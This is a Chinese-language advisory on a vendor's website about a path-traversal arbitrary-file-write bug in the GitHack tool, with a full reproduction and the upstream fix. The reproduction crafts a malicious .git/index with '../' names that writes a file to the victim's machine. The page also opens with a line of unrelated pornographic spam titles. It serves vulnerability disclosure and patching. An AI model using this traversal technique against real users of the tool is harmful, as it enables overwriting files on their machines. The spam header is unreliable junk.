国产成人毛片毛片久久网_国产午夜激无码av毛片不_国产乱对白精彩在线播放_av资源站中文字幕_亚洲男人的天堂网站_国产成 人 综合 亚洲网_中国国产激情一区_少妇一级淫片免费放_亚洲一本大道av久在线播放_免费观看美女裸体网站

行業(yè)動態(tài)

防御吧作為15年知名老牌域名服務(wù)商,CNNIC和CANN雙認(rèn)證域名注冊商,已經(jīng)
持續(xù)為500多萬個域名提供服務(wù),包括智能DNS/自由轉(zhuǎn)移/隱私保護(hù)等服務(wù)!
GitHack任意文件寫入漏洞預(yù)警與修復(fù)方案
2022-04-21 10:55:00 【

前言

最近幾天,關(guān)注的lijiejie大佬的GitHack項目提交了commit[1],Change Log寫著Fix abitrary file write vulnerability。GitHack任意文件寫入漏洞?這里讓我們分析一下這個漏洞。

漏洞詳情

本漏洞最早是由國外安全研究者justinsteven報告的[2],報告中指出相關(guān)軟件在使用或訪問一些不信任的git倉庫的情況下,就可能被精心設(shè)計者利用。

GitHack通過gin(一個git的index文件解析)去直接解析.git/index文件,找到工程中所有的文件并下載,當(dāng)解析到的文件名含有../時,下載的文件就會往上穿越目錄存放,遇到同名文件還可以覆蓋。只要通過精心的設(shè)計的.git/index,就可以把任意文件寫入到GitHack工具使用者的機(jī)器上。

場景復(fù)現(xiàn)

首先構(gòu)造一個Git倉庫:

/# mkdir -p /tmp/test
/# cd /tmp/test
/tmp/test# git init
Initialized empty Git repository in /tmp/test/.git/
/tmp/test# echo nothing |tee other1 other2 other3
nothing
/tmp/test# mkdir -p aabaabaabaabaabaabaabaabaabtmp
/tmp/test# echo "flag{gamelab}" >> aabaabaabaabaabaabaabaabaabtmp/gamelab
/tmp/test# git add .
/tmp/test# git commit -m "add gamelab"
[master (root-commit) 97d***7] add gamelab
4 files changed, 4 insertions(+)
create mode 100644 aabaabaabaabaabaabaabaabaabtmp/gamelab
create mode 100644 other1
create mode 100644 other2
create mode 100644 other3
root@cn:/tmp/test# strings .git/index |grep gamelab
&aabaabaabaabaabaabaabaabaabtmp/gamelab

再使用sed替換字符串:

/tmp/test# sed -i 's#aab#../#g' .git/index
/tmp/test# strings .git/index |grep gamelab
&../../../../../../../../../tmp/gamelab

使用python開啟HTTP服務(wù),讓我們可以通過HTTP來訪問當(dāng)前文件夾的/.git目錄。

/tmp/test# python2 -m SimpleHTTPServer 2333
Serving HTTP on 0.0.0.0 port 2333 ...

到這里,準(zhǔn)備工作就做好了。

打開另一個終端,使用舊版Githack直接獲取泄露的.git文件夾。

/tmp/old# cat /tmp/gamelab
cat: /tmp/gamelab: No such file or directory
/tmp/old# python2 GitHack.py http://127.0.0.1:2333/.git/
[+] Download and parse index file ...
../../../../../../../../../tmp/gamelab
other1
other2
other3
[OK] ../../../../../../../../../tmp/gamelab
[OK] other1
[OK] other2
[OK] other3
/tmp/old# cat /tmp/gamelab
flag{gamelab}

至此,文件已寫入。

修復(fù)方案

讓我們先來看一下GitHack源碼都有哪些修改:


最大的改動是在此處加了一個判斷if entry["name"].strip().find('..') < 0:,也就是說如果entry["name"]內(nèi)沒有..,則操作與以前一樣,修復(fù)后,..就被限制住了。

所以,現(xiàn)在就去更新下你的GitHack工具到2022.4.7最新版。

此外,王一航的GitHacker項目已于2022.3.1修復(fù)該漏洞[3]。

隨想

舊版GitHack這個漏洞存在已久,通過精心設(shè)計,可以有效地反制使用者。該環(huán)境也可以存在于蜜罐中,作為誘餌來誘捕攻擊者。建議各位師傅更新下GitHack。


】【打印關(guān)閉】 【返回頂部
分享到QQ空間
分享到: 
上一篇網(wǎng)站防御DDOS怎么隱藏源IP? 下一篇甲骨文修復(fù) Java “年度加密漏洞..

立足首都,輻射全球,防御吧專注云防御及云計算服務(wù)15年!

聯(lián)系我們

服務(wù)熱線:13051179500 18910191973
企業(yè)QQ:1245940436
技術(shù)支持:010-56159998
E-Mail:xihedata.com
Copyright ? 2003-2016 fangyuba. 防御吧(完美解決防御與加速) 版權(quán)所有 增值許可:京B2-20140042號
售前咨詢
公司總機(jī):18910191973
24小時電話:010-56159998
投訴電話:18910191973
值班售后/技術(shù)支持
售后服務(wù)/財務(wù)
備案專員
緊急電話:18610088800